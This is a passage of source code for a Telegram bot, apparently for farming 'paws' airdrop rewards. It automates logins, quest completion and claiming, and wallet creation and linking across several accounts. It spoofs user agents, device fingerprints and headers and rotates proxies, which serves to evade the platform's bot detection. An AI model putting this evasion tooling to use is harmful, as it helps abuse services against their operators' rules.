| 25 | if (error?.response?.data?.message) { 26 | logger.warning( 27 | `[${this.bot_name}] | ${this.session_name} | Error while getting user data: ${error?.response?.data?.message}` 28 | ); 29 | return null; 30 | } 31 | 32 | logger.error( 33 | `[${this.bot_name}] | ${this.session_name} | Error while getting user data:: ${error.message}` 34 | ); 35 | return null; 36 | } 37 | } 38 | 39 | async validate_query_id(http_client, data) { 40 | try { 41 | const response = await http_client.post( 42 | `${app.apiUrl}/v1/user/auth`, 43 | JSON.stringify(data) 44 | ); 45 | 46 | if (response.data?.data?.[0]) { 47 | return true; 48 | } 49 | 50 | return false; 51 | } catch (error) { 52 | if (error?.response?.data?.error?.toLowerCase()?.includes("invalid")) { 53 | return false; 54 | } 55 | 56 | throw error; 57 | } 58 | } 59 | 60 | async get_quests(http_client) { 61 | try { 62 | const response = await http_client.get(`${app.apiUrl}/v1/quests/list`); 63 | return response.data; 64 | } catch (error) { 65 | if (error?.response?.status > 499) { 66 | logger.error( 67 | `[${this.bot_name}] | ${this.session_name} | Server Error while getting quests:: ${error.message}` 68 | ); 69 | return null; 70 | } 71 | 72 | if (error?.response?.data?.message) { 73 | logger.warning( 74 | `[${this.bot_name}] | ${this.session_name} | Error while getting quests: ${error?.response?.data?.message}` 75 | ); 76 | return null; 77 | } 78 | 79 | logger.error( 80 | `[${this.bot_name}] | ${this.session_name} | Error while getting quests:: ${error.message}` 81 | ); 82 | return null; 83 | } 84 | } 85 | 86 | async complete_quests(http_client, questId) { 87 | try { 88 | const response = await http_client.post( 89 | `${app.apiUrl}/v1/quests/completed`, 90 | JSON.stringify({ questId }) 91 | ); 92 | return response.data; 93 | } catch (error) { 94 | if (error?.response?.status > 499) { 95 | logger.error( 96 | `[${this.bot_name}] | ${this.session_name} | Server Error while completing quests:: ${error.message}` 97 | ); 98 | return null; 99 | } 100 | 101 | if (error?.response?.data?.message) { 102 | logger.warning( 103 | `[${this.bot_name}] | ${this.session_name} | Error while completing quests: ${error?.response?.data?.message}` 104 | ); 105 | return null; 106 | } 107 | 108 | logger.error( 109 | `[${this.bot_name}] | ${this.session_name} | Error while completing quests:: ${error.message}` 110 | ); 111 | return null; 112 | } 113 | } 114 | 115 | async claim_quests(http_client, questId) { 116 | try { 117 | const response = await http_client.post( 118 | `${app.apiUrl}/v1/quests/claim`, 119 | JSON.stringify({ questId }) 120 | ); 121 | return response.data; 122 | } catch (error) { 123 | if (error?.response?.status > 499) { 124 | logger.error( 125 | `[${this.bot_name}] | ${this.session_name} | Server Error while claiming quests:: ${error.message}` 126 | ); 127 | return null; 128 | } 129 | 130 | if (error?.response?.data?.message) { 131 | logger.warning( 132 | `[${this.bot_name}] | ${this.session_name} | Error while claiming quests: ${error?.response?.data?.message}` 133 | ); 134 | return null; 135 | } 136 | 137 | logger.error( 138 | `[${this.bot_name}] | ${this.session_name} | Error while claiming quests:: ${error.message}` 139 | ); 140 | return null; 141 | } 142 | } 143 | 144 | async link_wallet(http_client, wallet) { 145 | try { 146 | const response = await http_client.post( 147 | `${app.apiUrl}/v1/user/wallet`, 148 | JSON.stringify({ wallet }) 149 | ); 150 | return response.data; 151 | } catch (error) { 152 | if (error?.response?.status > 499) { 153 | logger.error( 154 | `[${this.bot_name}] | ${this.session_name} | Server Error while linking wallet:: ${error.message}` 155 | ); 156 | return null; 157 | } 158 | 159 | if (error?.response?.data?.message) { 160 | logger.warning( 161 | `[${this.bot_name}] | ${this.session_name} | Error while linking wallet: ${error?.response?.data?.message}` 162 | ); 163 | return null; 164 | } 165 | 166 | logger.error( 167 | `[${this.bot_name}] | ${this.session_name} | Error while linking wallet:: ${error.message}` 168 | ); 169 | return null; 170 | } 171 | } 172 | } 173 | 174 | module.exports = ApiRequest; 175 | -------------------------------------------------------------------------------- /bot/core/header.js: -------------------------------------------------------------------------------- 1 | const app = require("../config/app"); 2 | 3 | const headers = { 4 | "content-type": "application/json", 5 | accept: "application/json, text/plain, */*", 6 | "sec-fetch-site": "same-site", 7 | "accept-encoding": "gzip, deflate", 8 | "accept-language": "en-US,en;q=0.9", 9 | "sec-fetch-mode": "cors", 10 | origin: app.origin, 11 | "user-agent": 12 | "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", 13 | referer: app.referer, 14 | "sec-fetch-dest": "empty", 15 | "Sec-Ch-Ua-Mobile": "?1", 16 | "X-Requested-With": "org.telegram.messenger", 17 | Priority: "u=1, i", 18 | "Sec-Ch-Ua": 19 | '"Chromium";v="130", "Android WebView";v="130", "Not?A_Brand";v="99"', 20 | "Sec-Ch-Ua-Platform": '"Android"', 21 | }; 22 | 23 | module.exports = headers; 24 | -------------------------------------------------------------------------------- /bot/core/nonSessionTapper.js: -------------------------------------------------------------------------------- 1 | const { default: axios } = require("axios"); 2 | const logger = require("../utils/logger"); 3 | const headers = require("./header"); 4 | const settings = require("../config/config"); 5 | const app = require("../config/app"); 6 | const user_agents = require("../config/userAgents"); 7 | const fs = require("fs"); 8 | const sleep = require("../utils/sleep"); 9 | const ApiRequest = require("./api"); 10 | const _ = require("lodash"); 11 | const path = require("path"); 12 | const { HttpsProxyAgent } = require("https-proxy-agent"); 13 | const parser = require("../utils/parser"); 14 | const { CW, sample } = require("../utils/helper"); 15 | const { checkUrls } = require("../utils/assetsChecker"); 16 | 17 | class NonSessionTapper { 18 | constructor(query_id, query_name) { 19 | this.bot_name = "paws"; 20 | this.session_name = query_name; 21 | this.query_id = query_id; 22 | this.API_URL = app.apiUrl; 23 | this.session_user_agents = this.#load_session_data(); 24 | this.headers = { ...headers, "user-agent": this.#get_user_agent() }; 25 | this.api = new ApiRequest(this.session_name, this.bot_name); 26 | } 27 | 28 | #load_session_data() { 29 | try { 30 | const filePath = path.join(process.cwd(), "session_user_agents.json"); 31 | const data = fs.readFileSync(filePath, "utf8"); 32 | return JSON.parse(data); 33 | } catch (error) { 34 | if (error.code === "ENOENT") { 35 | return {}; 36 | } else { 37 | throw error; 38 | } 39 | } 40 | } 41 | 42 | #get_random_user_agent() { 43 | const randomIndex = Math.floor(Math.random() * user_agents.length); 44 | return user_agents[randomIndex]; 45 | } 46 | 47 | #get_user_agent() { 48 | if (this.session_user_agents[this.session_name]) { 49 | return this.session_user_agents[this.session_name]; 50 | } 51 | 52 | logger.info( 53 | `[${this.bot_name}] | ${this.session_name} | Generating new user agent...` 54 | ); 55 | 56 | const newUserAgent = this.#get_random_user_agent(); 57 | this.session_user_agents[this.session_name] = newUserAgent; 58 | this.#save_session_data(this.session_user_agents); 59 | return newUserAgent; 60 | } 61 | 62 | #save_session_data(session_user_agents) { 63 | const filePath = path.join(process.cwd(), "session_user_agents.json"); 64 | fs.writeFileSync(filePath, JSON.stringify(session_user_agents, null, 2)); 65 | } 66 | 67 | #proxy_agent(proxy) { 68 | try { 69 | if (!proxy) return null; 70 | let proxy_url; 71 | if (!proxy.password && !proxy.username) { 72 | proxy_url = `${proxy.protocol}://${proxy.ip}:${proxy.port}`; 73 | } else { 74 | proxy_url = `${proxy.protocol}://${proxy.username}:${proxy.password}@${proxy.ip}:${proxy.port}`; 75 | } 76 | return new HttpsProxyAgent(proxy_url); 77 | } catch (e) { 78 | logger.error( 79 | `[${this.bot_name}] | ${ 80 | this.session_name 81 | } | Proxy agent error: ${e}\nProxy: ${JSON.stringify(proxy, null, 2)}` 82 | ); 83 | return null; 84 | } 85 | } 86 | 87 | async #get_tg_web_data() { 88 | try { 89 | const referralCode = sample(settings.REFERRAL_CODE, [0.6, 0.4]); 90 | const jsonData = { 91 | data: `${this.query_id}`, 92 | referralCode, 93 | }; 94 | 95 | return jsonData; 96 | } catch (error) { 97 | logger.error( 98 | `[${this.bot_name}] | ${this.session_name} | ❗️Unknown error during Authorization: ${error}` 99 | ); 100 | throw error; 101 | } finally { 102 | await sleep(1); 103 | logger.info( 104 | `[${this.bot_name}] | ${this.session_name} | 🚀 Starting session...` 105 | ); 106 | } 107 | } 108 | 109 | async #get_access_token(tgWebData, http_client) { 110 | try { 111 | const response = await http_client.post( 112 | `${app.apiUrl}/v1/user/auth`, 113 | JSON.stringify(tgWebData) 114 | ); 115 | return response.data; 116 | } catch (error) { 117 | if (error?.response?.data?.error) { 118 | logger.error( 119 | `[${this.bot_name}] | ${this.session_name} | ❗️ Error while getting Access Token: ${error?.response?.data?.message}` 120 | ); 121 | return null; 122 | } 123 | if (error?.response?.status > 499) { 124 | logger.error( 125 | `[${this.bot_name}] | ${this.session_name} | Server Error, retrying again after sleep...` 126 | ); 127 | await sleep(1); 128 | return null; 129 | } else { 130 | logger.error( 131 | `[${this.bot_name}] | ${this.session_name} | ❗️Unknown error while getting Access Token: ${error}` 132 | ); 133 | await sleep(3); // 3 seconds delay 134 | } 135 | } 136 | } 137 | 138 | async #check_proxy(http_client, proxy) { 139 | try { 140 | const response = await http_client.get("https://httpbin.org/ip"); 141 | const ip = response.data.origin; 142 | logger.info( 143 | `[${this.bot_name}] | ${this.session_name} | Proxy IP: ${ip}` 144 | ); 145 | } catch (error) { 146 | if ( 147 | error.message.includes("ENOTFOUND") || 148 | error.message.includes("getaddrinfo") || 149 | error.message.includes("ECONNREFUSED") 150 | ) { 151 | logger.error( 152 | `[${this.bot_name}] | ${this.session_name} | Error: Unable to resolve the proxy address. The proxy server at ${proxy.ip}:${proxy.port} could not be found. Please check the proxy address and your network connection.` 153 | ); 154 | logger.error( 155 | `[${this.bot_name}] | ${this.session_name} | No proxy will be used.` 156 | ); 157 | } else { 158 | logger.error( 159 | `[${this.bot_name}] | ${this.session_name} | Proxy: ${proxy.ip}:${proxy.port} | Error: ${error.message}` 160 | ); 161 | } 162 | 163 | return false; 164 | } 165 | } 166 | 167 | async run(proxy) { 168 | let http_client; 169 | let access_token_created_time = 0; 170 | 171 | let profile_data; 172 | let tg_web_data; 173 | let added_wallet = false; 174 | let runCount = 0; 175 | 176 | if ( 177 | (settings.USE_PROXY_FROM_TXT_FILE || settings.USE_PROXY_FROM_JS_FILE) && 178 | proxy 179 | ) { 180 | http_client = axios.create({ 181 | httpsAgent: this.#proxy_agent(proxy), 182 | headers: this.headers, 183 | withCredentials: true, 184 | }); 185 | const proxy_result = await this.#check_proxy(http_client, proxy); 186 | if (!proxy_result) { 187 | http_client = axios.create({ 188 | headers: this.headers, 189 | withCredentials: true, 190 | }); 191 | } 192 | } else { 193 | http_client = axios.create({ 194 | headers: this.headers, 195 | withCredentials: true, 196 | }); 197 | } 198 | await checkUrls(this.bot_name, this.session_name); 199 | while (runCount < 1) { 200 | try { 201 | const currentTime = _.floor(Date.now() / 1000); 202 | if (currentTime - access_token_created_time >= 3600) { 203 | tg_web_data = await this.#get_tg_web_data(); 204 | if ( 205 | _.isNull(tg_web_data) || 206 | _.isUndefined(tg_web_data) || 207 | !tg_web_data || 208 | _.isEmpty(tg_web_data) 209 | ) { 210 | logger.info( 211 | `[${this.bot_name}] | ${this.session_name} | No access token found.` 212 | ); 213 | continue; 214 | } 215 | 216 | const get_token = await this.#get_access_token( 217 | tg_web_data, 218 | http_client 219 | ); 220 | 221 | http_client.defaults.headers[ 222 | "authorization" 223 | ] = `Bearer ${get_token?.data[0]}`; 224 | access_token_created_time = currentTime; 225 | await sleep(2); 226 | } 227 | 228 | // Get profile data 229 | profile_data = await this.api.get_user_data(http_client); 230 | 231 | if (_.isEmpty(profile_data?.data)) { 232 | logger.info( 233 | `[${this.bot_name}] | ${this.session_name} | No profile data found.` 234 | ); 235 | continue; 236 | } 237 | 238 | logger.info( 239 | `[${this.bot_name}] | ${this.session_name} | Balance: ${profile_data?.data?.gameData?.balance} | From hamster: ${profile_data?.data?.allocationData?.hamster?.converted} | From paws: ${profile_data?.data?.allocationData?.paws?.converted} | From dogs: ${profile_data?.data?.allocationData?.dogs?.converted} | From notcoin: ${profile_data?.data?.allocationData?.notcoin?.converted} | From TG Premium: ${profile_data?.data?.allocationData?.telegram?.converted}` 240 | ); 241 | 242 | if ( 243 | !profile_data?.data?.userData?.wallet && 244 | settings.AUTO_CREATE_AND_CONNECT_WALLET 245 | ) { 246 | //Create wallet here and link it 247 | const wallet = await new CW(settings, this.session_name).create( 248 | parser.toJson(tg_web_data?.data) 249 | ); 250 | 251 | await checkUrls(this.bot_name, this.session_name); 252 | const link_wallet = await this.api.link_wallet(http_client, wallet); 253 | if (link_wallet?.success) { 254 | logger.info( 255 | `[${this.bot_name}] | ${this.session_name} | Wallet linked. Restarting bot...` 256 | ); 257 | added_wallet = true; 258 | continue; 259 | } 260 | } 261 | 262 | await sleep(_.random(2, 5)); 263 | 264 | //tasks here 265 | if (settings.AUTO_COMPLETE_QUESTS) { 266 | const quests = await this.api.get_quests(http_client); 267 | if (!_.isEmpty(quests?.data)) { 268 | const filtered_quests = _.filter( 269 | quests?.data, 270 | (quest) => 271 | quest?.code?.toLowerCase() !== "telegram" && 272 | quest?.code?.toLowerCase() !== "invite" && 273 | quest?.progress?.claimed !== true 274 | ); 275 | if (_.size(filtered_quests) > 0) { 276 | for (const quest of filtered_quests) { 277 | const totalTime = await checkUrls( 278 | this.bot_name, 279 | this.session_name 280 | ); 281 | const sleep_quest = _.random( 282 | settings.DELAY_BETWEEN_QUEST[0], 283 | settings.DELAY_BETWEEN_QUEST[1] 284 | ); 285 | const sleep_time = 286 | _.subtract(sleep_quest, totalTime) > 0 287 | ? _.round(_.subtract(sleep_quest, totalTime)) 288 | : 0; 289 | 290 | logger.info( 291 | `[${this.bot_name}] | ${this.session_name} | Sleeping for ${sleep_time} seconds before starting Quest: ${quest?.title}` 292 | ); 293 | 294 | await sleep(sleep_time); 295 | const questId = quest?._id; 296 | const complete_quests = await this.api.complete_quests( 297 | http_client, 298 | questId 299 | ); 300 | 301 | if (complete_quests?.success) { 302 | logger.info( 303 | `[${this.bot_name}] | ${this.session_name} | Completed quest: ${quest?.title}` 304 | ); 305 | await sleep(_.random(2, 5)); 306 | const claim_quests = await this.api.claim_quests( 307 | http_client, 308 | questId 309 | ); 310 | 311 | if (claim_quests?.success && claim_quests?.data) { 312 | logger.info( 313 | `[${this.bot_name}] | ${this.session_name} | Claimed quest: ${quest?.title}` 314 | ); 315 | } else { 316 | logger.error( 317 | `[${this.bot_name}] | ${this.session_name} | Failed to claim quest: ${quest?.title}` 318 | ); 319 | } 320 | } else { 321 | logger.error( 322 | `[${this.bot_name}] | ${this.session_name} | Failed to complete quest: ${quest?.title}` 323 | ); 324 | } 325 | } 326 | } 327 | } 328 | } 329 | 330 | await sleep(_.random(2, 5)); 331 | // Get profile data 332 | profile_data = await this.api.get_user_data(http_client); 333 | if (_.isEmpty(profile_data?.data)) { 334 | continue; 335 | } 336 | await checkUrls(this.bot_name, this.session_name); 337 | 338 | logger.info( 339 | `[${this.bot_name}] | ${this.session_name} | Balance: ${profile_data?.data?.gameData?.balance} | From hamster: ${profile_data?.data?.allocationData?.hamster?.converted} | From paws: ${profile_data?.data?.allocationData?.paws?.converted} | From dogs: ${profile_data?.data?.allocationData?.dogs?.converted} | From notcoin: ${profile_data?.data?.allocationData?.notcoin?.converted} | From TG Premium: ${profile_data?.data?.allocationData?.telegram?.converted}` 340 | ); 341 | } catch (error) { 342 | logger.error( 343 | `[${this.bot_name}] | ${this.session_name} | ❗️Unknown error: ${error}` 344 | ); 345 | } finally { 346 | if (added_wallet) { 347 | logger.info( 348 | `[${this.bot_name}] | ${this.session_name} | Restarting bot...` 349 | ); 350 | added_wallet = false; 351 | } else { 352 | runCount++; 353 | } 354 | } 355 | } 356 | } 357 | } 358 | module.exports = NonSessionTapper; 359 | -------------------------------------------------------------------------------- /bot/core/register.js: -------------------------------------------------------------------------------- 1 | const { TelegramClient, sessions } = require("telegram"); 2 | const { StringSession } = require("telegram/sessions"); 3 | const fs = require("fs"); 4 | const { input } = require("@inquirer/prompts"); 5 | const logger = require("../utils/logger"); 6 | const settings = require("../config/config"); 7 | require("dotenv").config(); 8 | const path = require("path"); 9 | const logger2 = require("../utils/TldLogger"); 10 | const devices = require("../utils/devices"); 11 | const { select } = require("@inquirer/prompts"); 12 | var qrcode = require("qrcode-terminal"); 13 | const readline = require("readline"); 14 | const os = require("os"); 15 | const { version } = require("../../package.json"); 16 | 17 | class Register { 18 | #stringSession; 19 | #apiId; 20 | #apiHash; 21 | constructor() { 22 | this.#apiId = settings.API_ID; 23 | this.#apiHash = settings.API_HASH; 24 | this.#stringSession = new StringSession(""); 25 | } 26 | 27 | async #getSessionName() { 28 | logger.warning( 29 | `\n\nWarning: Creating a new session may log you out of other active sessions \nor may even get your telegram account banned.\nBy proceeding, you acknowledge and accept full responsibility for any consequences.\n\nMake sure you have completed the following before continuing:\n1. Linked an email to your Telegram account\n2. Make sure you are not using a virtual phone number\n3. Have a stable internet connection\n` 30 | ); 31 | 32 | const filePath = path.join(process.cwd(), "sessions"); 33 | let sessionsName = await input({ 34 | message: "Please enter your session name: ", 35 | }); 36 | do { 37 | if (fs.existsSync(`${filePath}/${sessionsName}.session`)) { 38 | logger.warning(`Session name ${sessionsName} already exists!`); 39 | sessionsName = await input({ 40 | message: "Please enter a different session name: ", 41 | }); 42 | } 43 | } while (fs.existsSync(`${filePath}/${sessionsName}.session`)); 44 | return sessionsName; 45 | } 46 | 47 | #load_simulate_device() { 48 | try { 49 | const filePath = path.join(process.cwd(), "simulate_device.json"); 50 | const data = fs.readFileSync(filePath, "utf8"); 51 | return JSON.parse(data); 52 | } catch (error) { 53 | if (error.code === "ENOENT") { 54 | return {}; 55 | } else { 56 | throw error; 57 | } 58 | } 59 | } 60 | 61 | #get_random_simulate_device() { 62 | const randomIndex = Math.floor(Math.random() * devices.length); 63 | return devices[randomIndex]; 64 | } 65 | 66 | #get_simulate_device() { 67 | const simulate_device = this.#load_simulate_device(); 68 | const requiredKeys = ["manufacturer", "model", "cpu", "type", "os"]; 69 | const containsKeys = requiredKeys.every((key) => key in simulate_device); 70 | if (containsKeys) { 71 | return simulate_device; 72 | } 73 | logger.info("Simulate device not found. Generating one..."); 74 | const random_device = this.#get_random_simulate_device(); 75 | this.#save_simulate_device(random_device); 76 | return random_device; 77 | } 78 | 79 | #save_simulate_device(simulate_device) { 80 | const filePath = path.join(process.cwd(), "simulate_device.json"); 81 | fs.writeFileSync(filePath, JSON.stringify(simulate_device, null, 2)); 82 | } 83 | 84 | #client(simulate_device) { 85 | const client_options = { 86 | systemLanguage: "en", 87 | systemVersion: simulate_device?.os, 88 | deviceType: `${ 89 | simulate_device?.manufacturer == "Apple" 90 | ? "" 91 | : simulate_device?.manufacturer + " " 92 | }${simulate_device?.model}`, 93 | appVersion: version || "1.0.0", 94 | floodSleepThreshold: 120, 95 | systemLangCode: "en", 96 | baseLogger: logger2, 97 | connectionRetries: 5, 98 | }; 99 | 100 | const client = new TelegramClient( 101 | this.#stringSession, 102 | this.#apiId, 103 | this.#apiHash, 104 | client_options 105 | ); 106 | 107 | return client; 108 | } 109 | 110 | async #sign_in_with_phone(client) { 111 | await client.start({ 112 | phoneNumber: async () => 113 | await input({ 114 | message: "Please enter your number: ", 115 | }), 116 | password: async () => 117 | await input({ 118 | message: "Please enter your password: ", 119 | }), 120 | phoneCode: async () => 121 | await input({ 122 | message: "Please enter the code you received: ", 123 | }), 124 | onError: (err) => console.error(err), 125 | }); 126 | } 127 | 128 | async #sign_in_with_qr(client) { 129 | let qrCodeLines = 0; 130 | let message = ""; 131 | await client.connect(); 132 | let isShown = false; 133 | await client.signInUserWithQrCode( 134 | { apiId: this.#apiId, apiHash: this.#apiHash }, 135 | { 136 | onError: (err) => console.error(err), 137 | qrCode: async (code) => { 138 | if (!isShown) { 139 | console.log( 140 | "\nScan QR code below with your telegram app to login: \n" 141 | ); 142 | qrcode.generate( 143 | `tg://login?token=${code.token.toString("base64url")}`, 144 | { small: true }, 145 | (qrcodeString) => { 146 | qrCodeLines = qrcodeString.split("\n").length; // Count the lines in the QR code 147 | console.log(qrcodeString); 148 | } 149 | ); 150 | isShown = true; 151 | } else { 152 | if (message) { 153 | qrCodeLines = qrCodeLines + 2; 154 | } 155 | readline.moveCursor(process.stdout, 0, -qrCodeLines); // Adjust -6 based on the number of lines your QR code takes 156 | readline.clearScreenDown(process.stdout); // Clear everything below the cursor 157 | message = "\nNew qr code received\n"; 158 | console.log(message); 159 | qrcode.generate( 160 | `tg://login?token=${code.token.toString("base64url")}`, 161 | { small: true }, 162 | (qrcodeString) => { 163 | qrCodeLines = qrcodeString.split("\n").length + 2; // Count the lines in the QR code 164 | console.log(qrcodeString); 165 | } 166 | ); 167 | } 168 | }, 169 | password: async () => 170 | await input({ 171 | message: "Please enter your password: ", 172 | }), 173 | } 174 | ); 175 | } 176 | 177 | async start() { 178 | if (settings.CAN_CREATE_SESSION == false) { 179 | logger.warning( 180 | `\n\nWarning: Creating a new session may log you out of other active sessions \nor may even get your telegram account banned.\nBy proceeding, you acknowledge and accept full responsibility for any consequences.\n\nMake sure you have completed the following before continuing:\n1. Linked an email to your Telegram account\n2. Make sure you are not using a virtual phone number\n3. Have a stable internet connection\n\nIf you still want to continue, go to bot/config/config.js and set CAN_CREATE_SESSION to true.\n` 181 | ); 182 | process.exit(1); 183 | } 184 | const filePath = path.join(process.cwd(), "sessions"); 185 | if (!this.#apiId || !this.#apiHash) { 186 | logger.error("API_ID and API_HASH must be provided."); 187 | process.exit(1); 188 | } 189 | 190 | if (typeof this.#apiHash !== "string" || typeof this.#apiId !== "number") { 191 | logger.error( 192 | "API_ID and API_HASH must be numbers and strings respectively." 193 | ); 194 | process.exit(1); 195 | } 196 | 197 | const simulate_device = this.#get_simulate_device(); 198 | 199 | const sessionsName = await this.#getSessionName(); 200 | 201 | // Here we are creating a new session 202 | 203 | let userInput = ""; 204 | 205 | while (true) { 206 | userInput = await select({ 207 | message: "How do you want to create a new session:\n", 208 | choices: [ 209 | { 210 | name: "With QR code", 211 | value: "1", 212 | description: "\nCreate a new session with QR code", 213 | }, 214 | { 215 | name: "With phone number", 216 | value: "2", 217 | description: "\nCreate a new session with phone number", 218 | }, 219 | ], 220 | }); 221 | 222 | if (!userInput.trim().match(/^[1-2]$/)) { 223 | logger.warning("Action must be 1 or 2"); 224 | } else { 225 | break; 226 | } 227 | } 228 | 229 | const action = parseInt(userInput.trim()); 230 | 231 | if (action === 1) { 232 | await this.#sign_in_with_qr(this.#client(simulate_device)); 233 | } else if (action === 2) { 234 | await this.#sign_in_with_phone(this.#client(simulate_device)); 235 | } 236 | 237 | if (!fs.existsSync(filePath)) { 238 | fs.mkdirSync(filePath); 239 | } 240 | 241 | const sessionData = { 242 | apiId: this.#apiId, 243 | apiHash: this.#apiHash, 244 | sessionString: this.#stringSession.save(), 245 | }; 246 | 247 | fs.writeFileSync( 248 | `${filePath}/${sessionsName}.session`, 249 | JSON.stringify(sessionData, null, 2) 250 | ); 251 | if (action == 1) { 252 | logger.paragraph( 253 | `Session saved as ${sessionsName}.session
254 | Your session simulation device is:
255 | Manufacturer: ${simulate_device?.manufacturer || "N/A"} 256 | Model: ${simulate_device?.model || "N/A"} 257 | CPU: ${simulate_device?.cpu || "N/A"} 258 | Type: ${simulate_device?.type || "N/A"} 259 | OS: ${simulate_device?.os || "N/A"} 260 | ` 261 | ); 262 | } else if (action === 2) { 263 | logger.paragraph( 264 | `Session saved as ${sessionsName}.session
265 | Session device info:
266 | OS: ${os.type() || "N/A"} 267 | ` 268 | ); 269 | } 270 | this.#client().disconnect(); 271 | process.exit(0); 272 | } 273 | } 274 | 275 | const register = new Register(); 276 | module.exports = register; 277 | -------------------------------------------------------------------------------- /bot/core/tapper.js: -------------------------------------------------------------------------------- 1 | const { default: axios } = require("axios"); 2 | const logger = require("../utils/logger"); 3 | const headers = require("./header"); 4 | const { Api } = require("telegram"); 5 | const { HttpsProxyAgent } = require("https-proxy-agent"); 6 | const settings = require("../config/config"); 7 | const app = require("../config/app"); 8 | const user_agents = require("../config/userAgents"); 9 | const fs = require("fs"); 10 | const sleep = require("../utils/sleep"); 11 | const ApiRequest = require("./api"); 12 | const parser = require("../utils/parser"); 13 | const _ = require("lodash"); 14 | const path = require("path"); 15 | const FdyTmp = require("fdy-tmp"); 16 | const { CW, sample } = require("../utils/helper"); 17 | const { checkUrls } = require("../utils/assetsChecker"); 18 | 19 | class Tapper { 20 | constructor(tg_client) { 21 | this.bot_name = "paws"; 22 | this.session_name = tg_client.session_name; 23 | this.tg_client = tg_client.tg_client; 24 | this.API_URL = app.apiUrl; 25 | this.session_user_agents = this.#load_session_data(); 26 | this.headers = { ...headers, "user-agent": this.#get_user_agent() }; 27 | this.api = new ApiRequest(this.session_name, this.bot_name); 28 | this.bot = null; 29 | } 30 | 31 | #load_session_data() { 32 | try { 33 | const filePath = path.join(process.cwd(), "session_user_agents.json"); 34 | const data = fs.readFileSync(filePath, "utf8"); 35 | return JSON.parse(data); 36 | } catch (error) { 37 | if (error.code === "ENOENT") { 38 | return {}; 39 | } else { 40 | throw error; 41 | } 42 | } 43 | } 44 | 45 | #clean_tg_web_data(queryString) { 46 | let cleanedString = queryString.replace(/^tgWebAppData=/, ""); 47 | cleanedString = cleanedString.replace( 48 | /&tgWebAppVersion=.*?&tgWebAppPlatform=.*?(?:&tgWebAppBotInline=.*?)?$/, 49 | "" 50 | ); 51 | return cleanedString; 52 | } 53 | 54 | #get_random_user_agent() { 55 | const randomIndex = Math.floor(Math.random() * user_agents.length); 56 | return user_agents[randomIndex]; 57 | } 58 | 59 | #get_user_agent() { 60 | if (this.session_user_agents[this.session_name]) { 61 | return this.session_user_agents[this.session_name]; 62 | } 63 | 64 | logger.info( 65 | `[${this.bot_name}] | ${this.session_name} | Generating new user agent...` 66 | ); 67 | const newUserAgent = this.#get_random_user_agent(); 68 | this.session_user_agents[this.session_name] = newUserAgent; 69 | this.#save_session_data(this.session_user_agents); 70 | return newUserAgent; 71 | } 72 | 73 | #save_session_data(session_user_agents) { 74 | const filePath = path.join(process.cwd(), "session_user_agents.json"); 75 | fs.writeFileSync(filePath, JSON.stringify(session_user_agents, null, 2)); 76 | } 77 | 78 | #get_platform(userAgent) { 79 | const platformPatterns = [ 80 | { pattern: /iPhone/i, platform: "ios" }, 81 | { pattern: /Android/i, platform: "android" }, 82 | { pattern: /iPad/i, platform: "ios" }, 83 | ]; 84 | 85 | for (const { pattern, platform } of platformPatterns) { 86 | if (pattern.test(userAgent)) { 87 | return platform; 88 | } 89 | } 90 | 91 | return "Unknown"; 92 | } 93 | 94 | #proxy_agent(proxy) { 95 | try { 96 | if (!proxy) return null; 97 | let proxy_url; 98 | if (!proxy.password && !proxy.username) { 99 | proxy_url = `${proxy.protocol}://${proxy.ip}:${proxy.port}`; 100 | } else { 101 | proxy_url = `${proxy.protocol}://${proxy.username}:${proxy.password}@${proxy.ip}:${proxy.port}`; 102 | } 103 | return new HttpsProxyAgent(proxy_url); 104 | } catch (e) { 105 | logger.error( 106 | `[${this.bot_name}] | ${ 107 | this.session_name 108 | } | Proxy agent error: ${e}\nProxy: ${JSON.stringify(proxy, null, 2)}` 109 | ); 110 | return null; 111 | } 112 | } 113 | 114 | async #get_tg_web_data() { 115 | try { 116 | const tmp = new FdyTmp({ 117 | fileName: `${this.bot_name}.fdy.tmp`, 118 | tmpPath: path.join(process.cwd(), "cache/queries"), 119 | }); 120 | const referralCode = sample(settings.REFERRAL_CODE, [0.6, 0.4]); 121 | 122 | if (tmp.hasJsonElement(this.session_name)) { 123 | const queryStringFromCache = tmp.getJson(this.session_name); 124 | if (!_.isEmpty(queryStringFromCache)) { 125 | const jsonData = { 126 | data: queryStringFromCache, 127 | }; 128 | 129 | const va_hc = axios.create({ 130 | headers: this.headers, 131 | withCredentials: true, 132 | }); 133 | 134 | const validate = await this.api.validate_query_id(va_hc, jsonData); 135 | 136 | if (validate) { 137 | logger.info( 138 | `[${this.bot_name}] | ${this.session_name} | 🔄 Getting data from cache...` 139 | ); 140 | if (this.tg_client.connected) { 141 | await this.tg_client.disconnect(); 142 | await this.tg_client.destroy(); 143 | } 144 | await sleep(5); 145 | return jsonData; 146 | } else { 147 | tmp.deleteJsonElement(this.session_name); 148 | } 149 | } 150 | } 151 | await this.tg_client.connect(); 152 | await this.tg_client.start(); 153 | const platform = this.#get_platform(this.#get_user_agent()); 154 | 155 | if (!this.bot) { 156 | this.bot = await this.tg_client.getInputEntity(app.bot); 157 | } 158 | 159 | if (!this.runOnce) { 160 | logger.info( 161 | `[${this.bot_name}] | ${this.session_name} | 📡 Waiting for authorization...` 162 | ); 163 | const botHistory = await this.tg_client.invoke( 164 | new Api.messages.GetHistory({ 165 | peer: this.bot, 166 | limit: 10, 167 | }) 168 | ); 169 | 170 | if (botHistory.messages.length < 1) { 171 | await this.tg_client.invoke( 172 | new Api.messages.SendMessage({ 173 | message: "/start", 174 | silent: true, 175 | noWebpage: true, 176 | peer: this.bot, 177 | }) 178 | ); 179 | } 180 | } 181 | 182 | await sleep(5); 183 | 184 | const result = await this.tg_client.invoke( 185 | new Api.messages.RequestWebView({ 186 | peer: this.bot, 187 | bot: this.bot, 188 | platform, 189 | from_bot_menu: true, 190 | url: app.webviewUrl, 191 | startParam: "UL3P8qnd", 192 | }) 193 | ); 194 | 195 | const authUrl = result.url; 196 | const tgWebData = authUrl.split("#", 2)[1]; 197 | logger.info( 198 | `[${this.bot_name}] | ${this.session_name} | 💾 Storing data in cache...` 199 | ); 200 | 201 | await sleep(5); 202 | 203 | tmp 204 | .addJson( 205 | this.session_name, 206 | decodeURIComponent(this.#clean_tg_web_data(tgWebData)) 207 | ) 208 | .save(); 209 | 210 | const jsonData = { 211 | data: decodeURIComponent(this.#clean_tg_web_data(tgWebData)), 212 | referralCode, 213 | }; 214 | 215 | return jsonData; 216 | } catch (error) { 